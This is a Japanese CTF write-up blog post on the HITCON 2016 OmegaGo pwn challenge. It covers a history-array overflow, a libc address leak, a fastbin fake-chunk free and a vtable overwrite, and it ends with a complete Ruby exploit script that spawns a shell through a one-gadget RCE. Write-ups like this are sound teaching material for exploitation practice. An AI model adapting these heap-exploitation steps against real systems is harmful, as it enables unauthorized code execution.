しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

HITCON 2016 Quals - OmegaGo writeup

CTF Advent Calendar 2016 8日目です。
WiiU国内発売からちょうど4年らしいです。

先日、HITCON 2016 Qualsで出題されたOmegaGo (pwn350)を大会後に1週間かけて解いたのですが、
writeupが見たいというリクエストがあったので置いておきます。

Advent Calendarの記事ということで、いつもよりまじめに[要出典]書きました(`・ω・´)

概要

囲碁で遊べるプログラム。

$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

A19
   ABCDEFGHIJKLMNOPQRS
19 X..................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ..................O
Time remain: O: 180.00, X: 173.73

B19
   ABCDEFGHIJKLMNOPQRS
19 XX.................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 .................OO
Time remain: O: 180.00, X: 168.67

surrender
This AI is too strong, ah?
Play history? (y/n)
n
Play again? (y/n)
n

まずは下調べ。

$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped

$ checksec --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac

普通のx86_64なバイナリ。

主な仕様はこんな感じ。

  • 対局が始まると、CPU用とプレーヤー用にそれぞれvtable pointerを持ったオブジェクト(以下Player_CPU, Player_Human)がmalloc(8)で作られる
  • CPU("O")が先手で、プレーヤー("X")が後手
  • ルールは囲碁とだいたい同じ(だと思う)
  • プレーヤーの取れる行動は「石を置く」「regret(待った)」「surrender(投了)」のいずれか
    • プレーヤーのコマンド入力のためのバッファはbssに用意されている
  • CPUは最初の一手は中央に、それ以降はマネ碁をする(真似できなかった場合はA19→B19→……→S19→A18→B18→……S18→……→S1の順で石を置ける場所を探す)
  • 現在の局面に関する情報は、bss上に次のようなレイアウトで保持する(以下status
struct Status {  // sizeof(struct Status) == 0x80
    /*
     * 盤面の状態を表すビット列
     * 2bitで1目を表し、
     *   0: 空き(画面上は".")
     *   1: CPUの石(画面上は"O")
     *   2: プレーヤーの石(画面上は"X")
     *   3: 未定義(画面上は"\0")
     */
    unsigned char board[96];  // +0x0
    /* 最後に置かれた石の座標 */
    int last_y;               // +0x60
    int last_x;               // +0x64
    /* 最後に置かれた石の種類 */
    long last_token;          // +0x68
    /* CPUとプレーヤーの持ち時間 */
    double cpu_time;          // +0x70
    double player_time;       // +0x78
}
  • 対局者がどこかに石を置くと、石を置いた後のstatusの状態がヒープ上にコピーされ、
    コピー先のアドレスがbss上の配列struct Status *history[364]に格納されていく
    • 365手目以降も記録が行われるため、対局が長引くとhistoryの後ろにあるstatusが破壊される
  • 劫を防ぐため、一手打つごとに盤面の状態のハッシュ値historyとは別の赤黒木に登録していく
    • ハッシュ値計算には/dev/urandomから取られたバイト列が使われており、プレーヤーがハッシュ値を予測することは不可能
    • 同一の局面が2回現れたときはプログラム終了
  • プレーヤーが「regret(待った)」を選ぶと、次に示すコードのregret関数のような処理が走る
void undo() {
    unsigned long hash;
    if (history[history_count - 1]) {
        hash = compute_hash(history[history_count - 1]);  // 盤面のハッシュ値を計算
        free(history[history_count - 1]);  // history用の領域を解放
        remove_hash_from_rb_tree(hash);  // 赤黒木からハッシュ値を削除
        history_count--;
    }
}

int regret() {
    if (history_count > 1) {
        undo();
        undo();
        if (history[history_count - 1]) {
            restore(history[history_count - 1]);  // historyに記録されている状態をstatusに書き戻す
        }
        return 1;
    } else {
        return 0;
    }
}
  • 先手・後手のどちらかが石を置けなくなった場合、またはプレーヤーが投了した場合に勝敗が決まり、再対局するかどうかを聞かれる
    • 再対局することを選んだ場合、初期化処理(historyに記録されたアドレスをすべてfreeし、赤黒木用の領域もすべて解放)を経て新しい対局が始まる
      • このとき、Player_CPUPlayer_Humanも新しく作り直されるが、古いPlayer_CPUPlayer_Humanは解放されずにヒープ上に残ったままになる
        このため、投了を繰り返すことでヒープのアドレスを調節することができる
  • 時間切れになった場合はプログラム終了

上記から分かるとおり、明らかにバグと言えるものは一つしかない。

とりあえず365手目まで進めればヒープのアドレスは分かりそうなので、まずはそこまで進めてみる。

アドレスリーク

まず、調査をやりやすくするために、statusの状態をいい感じに表示してくれるPEDA用のスクリプトを書いた。

# helper.py
import struct

def print_status(addr):
    board = peda.readmem(addr, 0x60)
    last_y = peda.read_int(addr + 0x60, 4)
    last_x = peda.read_int(addr + 0x64, 4)
    last_token = peda.read_long(addr + 0x68)
    time_cpu, time_human = struct.unpack("<dd", peda.readmem(addr + 0x70, 16))

    print("[board]")
    for y in range(19):
        s = "    "
        for x in range(19):
            s += str((board[(y * 19 + x) // 4] >> (((y * 19 + x) % 4) * 2)) & 3)
        print(s)
    print("[board (raw)]")
    for i in range(0, len(board) // 8, 2):
        print("    0x%016x 0x%016x" % struct.unpack("<QQ", board[i * 8 : (i + 2) * 8]))
    print("[other info]")
    print("    last (y, x) = (%d, %d)" % (last_y, last_x))
    print("    last token = 0x%x" % last_token)
    print("    time_cpu = %f" % time_cpu)
    print("    time_human = %f" % time_human)
# helper
source helper.py

define status
    if $argc == 0
        python print_status(0x609fc0)
    else
        eval "python print_status(0x%x)", $arg0
    end
end

使用例

gdb-peda$ source helper
gdb-peda$ status  # 現在のstatusの状態を表示
[board]
    2220000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0002220000000000000
    0000000000000000000
    0000000000000000000
    0000000001000000000
    0000000000000000000
    0000000000000000000
    0000000000000111000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000111
[board (raw)]
    0x000000000000002a 0x0000000000000000
    0x0000000000000000 0x0000a80000000000
    0x0000000000000000 0x0000010000000000
    0x0000000000000000 0x0000005400000000
    0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000015000
[other info]
    last (y, x) = (12, 13)
    last token = 0x4f
    time_cpu = 179.999932
    time_human = 163.342170
gdb-peda$ status 0x000000000060b080  # 指定したアドレスをStatus構造体とみなして表示
[board]
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000001000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
[board (raw)]
    0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000010000000000
    0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000
[other info]
    last (y, x) = (9, 9)
    last token = 0x4f
    time_cpu = 179.999999
    time_human = 180.000000

なお、Python 3なgdbだとpeda.read_int系のメソッドがエラーになるが、Pythonよく分かっていないマンがPEDA本家にissueやPRを投げるのは恐れ多かったので、雑に直した

さて、363手目まで進めた状態がこちら。

   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ..................X
11 XXXXXXXXXXXXXXXXXXX
10 XXXXXXXXXOOOOOOOOOO
 9 OOOOOOOOOOOOOOOOOOO
 8 O..................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 179.99, X: 147.76

ここから両者さらに1手ずつ打つと、こうなる。(H19は空白に見えるが、実際はnull byteが出ている)

   ABCDEFGHIJKLMNOPQRS
19 ...XO.. O.XO.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 .................XX
11 XXXXXXXXXXXXXXXXXXX
10 XXXXXXXXXOOOOOOOOOO
 9 OOOOOOOOOOOOOOOOOOO
 8 OO.................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
 Time remain: O: 179.99, X: 147.59
gdb-peda$ status
[board]
    0002100310210000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000022
    2222222222222222222
    2222222221111111111
    1111111111111111111
    1100000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
[board (raw)]
    0x000000000061c180 0x0000000000000000
    0x0000000000000000 0x0000000000000000
    0xaaaaa00000000000 0x555555aaaaaaaaaa
    0x0000001555555555 0x0000000000000000
    0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000
[other info]
    last (y, x) = (11, 1)
    last token = 0x4f
    time_cpu = 179.994260
    time_human = 147.587592
gdb-peda$ vmmap 0x000000000061c180
Start              End                Perm  Name
0x00608000         0x0062c000         rw-p  [heap]

historystatusの領域にまで侵入してきているので、このときの盤面の状態からヒープのアドレスを求めることができる。(今回はヒープのアドレスは使わないが)

ここで盤面の左上部分に石を置くことでhistory[364]を書き換え、その次の手番で待ったをかけてみる。

# 365手目まで
   ABCDEFGHIJKLMNOPQRS
19 ...XO.. O.XO.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 .................XX
11 XXXXXXXXXXXXXXXXXXX
10 XXXXXXXXXOOOOOOOOOO
 9 OOOOOOOOOOOOOOOOOOO
 8 OO.................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
 Time remain: O: 179.99, X: 147.59

[board]
    0002100310210000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000022
    2222222222222222222
    2222222221111111111
    1111111111111111111
    1100000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
[board (raw)]
    0x000000000061c180 0x0000000000000000  # ←historyの最後尾は0x61c180の部分
    0x0000000000000000 0x0000000000000000
    0xaaaaa00000000000 0x555555aaaaaaaaaa
    0x0000001555555555 0x0000000000000000
    0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000
[other info]
    last (y, x) = (11, 1)
    last token = 0x4f
    time_cpu = 179.994260
    time_human = 147.587592

--------------------------------------------------
# 366手目(プレーヤーがC19に石を置く)

--------------------------------------------------
# 367手目まで
   ABCDEFGHIJKLMNOPQRS
19 ..XXO.. O.XO.......
18 ................OX.
17 . O.XO.............
16 ........... .. O.XO
15 ...................
14 ...................
13 ...................
12 .................XX
11 XXXXXXXXXXXXXXXXXXX
10 XXXXXXXXXOOOOOOOOOO
 9 OOOOOOOOOOOOOOOOOOO
 8 OO.................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ................O..
Time remain: O: 179.99, X: 141.09

[board]
    0022100310210000000
    0000000000000000120
    0310210000000000000
    0000000000030031021
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000022
    2222222222222222222
    2222222221111111111
    1111111111111111111
    1100000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000100
[board (raw)]
    0x000000000061c1a0 0x000000000061c240  # ←C19に置いたことで0x60c180が0x60c1a0になった
    0x000000000061c300 0x0000000000000000  # ←historyの最後尾は0x61c300の部分
    0xaaaaa00000000000 0x555555aaaaaaaaaa
    0x0000001555555555 0x0000000000000000
    0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000001000
[other info]
    last (y, x) = (18, 16)
    last token = 0x4f
    time_cpu = 179.993311
    time_human = 141.094860

# ここでプレーヤーが待ったをかけると
#    free(0x61c300)→free(0x61c240)→restore(0x61c1a0)
# が実行され、最終的にこうなる
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...XXXXXXXXXXXXXXXX
17 XXXXXXXXXXXXXXOOOOO
16 OOOOOOOOOOOOOOOOOOO
15 OOOOOOO............
14 ...................
13 ...................
12 ...................
11 ...................
10 ...................
 9 ...................
 8 ...................
 7 ...................
 6 ......... X........
 5 ......O............
 4 ...  .O............
 3 ................ OO
 2 O.O..     XOOOX.
 1  OXOXO...OOOX.OOXX.
Time remain: O:   0.00, X:   0.00

# 本来restore(0x61c180)されないといけないのにrestore(0x61c1a0)されたため、盤面がバグっている
[board]
    0000000000000000000
    0002222222222222222
    2222222222222211111
    1111111111111111111
    1111111000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000000000000000
    0000000003200000000
    0000001000000000000
    0003301000000000000
    0000000000000000311
    1010033333211120333
    3121210001112011220
[board (raw)]
    0xaaaaa00000000000 0x555555aaaaaaaaaa
    0x0000001555555555 0x0000000000000000
    0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000
    0x000000010000000b 0x000000000000004f
    0x40667fc95bff0457 0x40627ccbdba0a525
[other info]
    last (y, x) = (0, 0)
    last token = 0x31
    time_cpu = 0.000000
    time_human = 0.000000

このように、プレーヤーがhistory[364]を書き換えた後に待ったをかけることで、本来渡されるはずだったものとは違うアドレスをrestoreに渡すことができ、そのアドレス周辺のデータをリークできる。

つまり、restoreにfree済みチャンク周辺のアドレスが渡されるようにすれば、そのチャンクのfd/bkメンバからlibcのアドレスをリークできるということになる。
(なお、「Status.boardでプレーヤーが意図的に作れるのは0("."), 1("O"), 2("X")だけ」という制約があるため、got leakはできない)

試行錯誤の結果、

  1. 2回投了してヒープのアドレスを調整
  2. 365手目まで進める(history[364]0xXXX200になる)
  3. D19に石を置くことでhistory[364]0xXXX200から0xXXX280に書き換える
  4. 待ったをかけるとfree(0xXXX380)free(0xXXX2c0)restore(0xXXX280)が実行される
  5. restore(0xXXX280)により、0xXXX2c0にあったlibcのアドレスがstatusに書き込まれる

という手順でlibcのアドレスをリークできた。

リークしたときの様子はこんな感じ。

   ABCDEFGHIJKLMNOPQRS
19 ...................
18 .............O. ...
17 ...................
16 ..........O .. O.XO
15 ...................
14 ...OOXX  ..XO......
13 ................O
12 O .O.XO............
11 ..........OO... O.X
10 O..................
 9 .. XOX.X O.O XO ...
 8 X.X ...  X.  O.O.OX
 7 ...................
 6 ..........X X OOX X
 5 .X O         O.....
 4 ....X X OOX X.X O
 3        O...........
 2 ...................
 1 ...................
Time remain: O:   0.00, X:   0.00

gdb-peda$ status
[board]
    0000000000000000000
    0000000000000103000
    0000000000000000000
    0000000000130031021
    0000000000000000000
    0001122330021000000
    0000000000000000133
    1301021000000000000
    0000000000110003102
    1000000000000000000
    0032120231013213000
    2023000332033101012
    0000000000000000000
    0000000000232311232
    0231333333333100000
    0000232311232023133
    3333333100000000000
    0000000000000000000
    0000000000000000000
[board (raw)]
    0x0000000000000000 0x0000000000000031
    0x000000000061c340 0x000000000060fa50
    0x00000000006137d0 0x000000000061c050
    0x1f2f03880db4789b 0x0000000000000091
    0x00007ffff78b97b8 0x00007ffff78b97b8
    0x0000000000000000 0x0000000000000000
[other info]
    last (y, x) = (0, 2863308800)
    last token = 0x555555aaaaaaaaaa
    time_cpu = 0.000000
    time_human = 0.000000
gdb-peda$ x/gx 0x00007ffff78b97b8
0x7ffff78b97b8 <main_arena+88>: 0x000000000061c370

(ほぼ)任意アドレスのfree

これまでhistory[364]を書き換えた状態で待ったをかけてメモリ上のデータをリークすることについて考えたが、待ったをかける代わりに投了すると、historyを初期化する処理において(ほぼ)任意アドレスのfreeもできる。

これを利用すると、

  1. 対局開始から数手進んだときのイメージ(赤黒木関連のチャンクは省略)
    f:id:Charo_IT:20161128152106p:plain
  2. 盤面に32byteの偽チャンクを仕込んだ状態でhistoryをオーバフローさせる(1手進むごとにstatusはヒープにコピーされるので、偽チャンクもヒープにコピーされる)
    f:id:Charo_IT:20161128152118p:plain
  3. history[364]をヒープ上の偽チャンクのアドレスに書き換える
    f:id:Charo_IT:20161128152126p:plain
  4. 投了するとhistoryの初期化処理によって偽チャンクがfreeされ、32byte用のfastbinsリストに繋がれる
    このとき、Status構造体用の空きチャンクの中に偽チャンクが含まれている状態になる
    f:id:Charo_IT:20161128152136p:plain
  5. 再対局開始時にPlayer_CPUPlayer_Humanが新しく作られる
    このとき、4.でfreeした偽チャンクがPlayer_CPU用の領域として使われる(fastbins unlink attack)
    f:id:Charo_IT:20161128152146p:plain
  6. 対局を進めつつ、盤面に適当なアドレスを作る f:id:Charo_IT:20161128152153p:plain
  7. 対局が進むと、どこかのタイミングで偽チャンクを含んでいる空きチャンクが再利用され、statusをそこにコピーする処理によってPlayer_CPUのvtable pointerが上書きされる
    f:id:Charo_IT:20161128152201p:plain

という手順で制御を奪うことができる。

今回はプレーヤーのコマンド入力のためのバッファがbss上に用意されているので、Player_CPUのvtable pointerをそこに向け、コマンド入力時にOne-Gadget-RCEのアドレスを入れればシェルが取れる。

Exploit

libcはUbuntu 14.04での最新であるUbuntu EGLIBC 2.19-0ubuntu6.9を使っている。

Ubuntu 16.04で動かす場合はstdinのバッファがヒープ上に確保されることを考慮し、投了の回数を調節する必要があるかもしれない。

#coding:ascii-8bit
require "pwnlib"

host = "localhost"
port = 54321
libc_offset = {
    "main_arena" => 0x3be760,
    "one_gadget_rce" => 0xe66bd
}
@verbose = true

def tube
    @tube
end

def receive_board
    tube.recv_until(/Time remain: .*\n\n/m).tap{|a| puts a if @verbose}
end

def point(y, x)
    "ABCDEFGHIJKLMNOPQRS"[x] + (19 - y).to_s
end

def decode_board(board)
    result = ""
    n = 0
    for b, i in board.scan(/^\s*\d+ ([\.OX\x00]{19})\n/m).map{|a| a[0]}.join.chars.each_with_index
        n |= ".OX\0".index(b) << ((i % 4) * 2)
        if i % 4 == 3
            result << n.chr
            n = 0
        end
    end
    if i % 4 != 3
        result << n.chr
    end
    result.ljust(0x60, "\0").unpack("Q*")
end

PwnTube.open(host, port){|t|
    @tube = t

    puts "[*] surrender to adjust heap address"
    2.times{
        tube.sendline("surrender")
        tube.recv_until("Play history? (y/n)\n")
        tube.sendline("n")
        tube.recv_until("Play again? (y/n)\n")
        tube.sendline("y")
    }

    puts "[*] prepare for leaking addresses"
    18.times{|i|
        receive_board
        tube.sendline(point(8, i))
    }
    11.upto(18){|y|
        19.times{|x|
            receive_board
            tube.sendline(point(y, x))
        }
    }
    receive_board
    tube.sendline(point(8, 18))
    9.times{|i|
        receive_board
        tube.sendline(point(9, i))
    }
    receive_board
    tube.sendline(point(7, 18))
    receive_board
    tube.sendline(point(7, 17))

    puts "[*] leak heap base"
    heap_base = decode_board(receive_board)[0] - 0x11200
    puts "heap base = 0x%x" % heap_base

    puts "[*] leak libc base"
    tube.sendline(point(0, 3))
    receive_board
    tube.sendline("regret")
    libc_base = decode_board(receive_board)[8] - (libc_offset["main_arena"] + 0x58)
    puts "libc base = 0x%x" % libc_base

    puts "[*] restart"
    3.times{  # surrender 3 times to adjust heap address
        tube.sendline("surrender")
        tube.recv_until("Play history? (y/n)\n")
        tube.sendline("n")
        tube.recv_until("Play again? (y/n)\n")
        tube.sendline("y")
    }

    puts "[*] prepare for next step"
    18.times{|i|
        receive_board
        tube.sendline(point(8, i))
    }
    11.upto(18){|y|
        19.times{|x|
            receive_board
            tube.sendline(point(y, x))
        }
    }
    receive_board
    tube.sendline(point(8, 18))

    puts "[*] create fake chunk (((unsigned long*)status)[3] = ((unsigned long*)status)[5] = 0x21"
    receive_board
    tube.sendline(point(13, 17))
    receive_board
    tube.sendline(point(5, 3))
    receive_board
    tube.sendline(point(7, 3))
    receive_board
    tube.sendline(point(11, 17))

    puts "[*] overwrite history's pointer (0xXXX410 -> 0xXXX550)"
    7.times{|i|
        receive_board
        tube.sendline(point(9, i))
    }
    receive_board
    tube.sendline(point(18, 15))
    receive_board
    tube.sendline(point(18, 14))

    puts "[*] restart to free fake chunk"
    tube.sendline("surrender")
    tube.recv_until("Play history? (y/n)\n")
    tube.sendline("n")
    tube.recv_until("Play again? (y/n)\n")
    tube.sendline("y")

    puts "[*] prepare for overwriting vtable pointer"
    18.times{|i|
        receive_board
        tube.sendline(point(5, i))
    }
    14.upto(18){|y|
        19.times{|x|
            receive_board
            tube.sendline(point(y, x))
        }
    }
    receive_board
    tube.sendline(point(5, 18))

    puts "[*] set vtable pointer (((unsigned long*)0x609fc0)[4] = 0x609440)"
    receive_board
    tube.sendline(point(12, 1))
    receive_board
    tube.sendline(point(11, 18))
    receive_board
    tube.sendline(point(11, 17))
    receive_board
    tube.sendline(point(7, 2))
    receive_board
    tube.sendline(point(7, 5))
    receive_board
    tube.sendline(point(11, 12))

    puts "[*] fill until vtable pointer is overwritten"
    3.times{|y|
        19.times{|x|
            receive_board
            tube.sendline(point(y, x))
        }
    }
    5.times{|i|
        receive_board
        tube.sendline(point(3, i))
    }

    puts "[*] set vtable"
    receive_board
    tube.sendline(point(3, 5).ljust(4, "_") + [libc_base + libc_offset["one_gadget_rce"]].pack("Q")[0...6])

    puts "[*] launch shell"
    tube.interactive
}

実行したときの様子をasciinemaで撮ってみた。(わかりやすいように要所要所でsleepを入れている)

感想


CTF Advent Calendar 2016 9日目は、inaz2さんの「Hack The Vote 2016 The Best RSA (Crypto 250)」です!